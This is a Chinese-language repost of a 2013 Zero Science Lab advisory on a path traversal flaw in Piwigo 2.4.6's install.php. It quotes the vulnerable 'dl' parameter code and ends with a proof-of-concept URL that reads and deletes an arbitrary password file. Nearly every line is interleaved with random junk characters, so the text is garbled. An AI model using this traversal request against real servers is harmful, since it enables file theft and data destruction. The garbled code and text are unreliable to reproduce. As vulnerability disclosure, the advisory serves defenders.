Piwigo是用PHP编写的相册脚本。
5 G1 i. u9 @4 L8 B0 X, e% n1 Q, U T2 l2 c$ J5 B# H+ K
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
) k. J" k/ K) o====================================================================
8 y) \" O$ z$ G5 p/install.php:
' V3 I9 a3 k/ P I4 W% Q: _-------------( z' q. V! g% N/ x
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))2 T0 L8 N4 k& {7 P. G$ ~
114: {
8 G! a# f# _. Y* Z. K# V/ {% }115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
+ O3 ]) Z$ s! E% w; P6 v1 A116: header('Cache-Control: no-cache, must-revalidate');
; G) ~) Y% a0 J( u5 q/ v117: header('Pragma: no-cache');# V, O1 a) q2 ?8 n
118: header('Content-Disposition: attachment; filename="database.inc.php"');
. }1 Y' Z2 m2 k. J# z119: header('Content-Transfer-Encoding: binary');
1 l2 r( s6 {; p: Z& Z" i. d1 p120: header('Content-Length: '.filesize($filename)); C |' B/ d3 ?9 ]
121: echo file_get_contents($filename);8 i0 t9 ]( o3 U' F
122: unlink($filename);+ [5 \2 g) S/ \# Y2 o3 t3 w0 x
123: exit();& J) |% d) {4 ?' h3 C2 F: B+ y
124: }
% P, e* }5 X; a. r====================================================================& K; \1 R- `1 A1 `4 y! S
; C+ o/ c0 J' X/ M
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
" _' T8 f; X' H+ [. A; j1 K8 P2 } Apache 2.4.2 (Win32)! F0 B# ^! z8 P) G& F$ @9 n* F
PHP 5.4.4 ` Y; P2 G; U8 v' h
MySQL 5.5.25a3 I3 e( e0 Y# }2 v r0 Z9 f3 g3 |
2 l* a$ j$ Z8 L6 dVulnerability discovered by Gjoko 'LiquidWorm' Krstic
3 b4 ^6 [2 e: l$ ~- e8 M$ I& } @zeroscience
' j/ H* \8 Y3 `2 K+ K * s7 [; I$ d: z+ D
Advisory ID: ZSL-2013-5127. A% p+ S s) C# {
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
# X8 L6 c9 v6 \8 {* I- vVendor Patch: http://piwigo.org/bugs/view.php?id=2843) j8 X I. z2 i- a1 X
0 X/ x* u# i/ D$ `# I/ x& N15.02.2013' b, x9 g r- K
) L% ?* H4 S5 \7 ~' |--/ A) L" i S' q
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
`, J6 ~1 r, d+ A; k$ H 3 r1 [- \* ~ g$ f& [& k2 Y7 [
|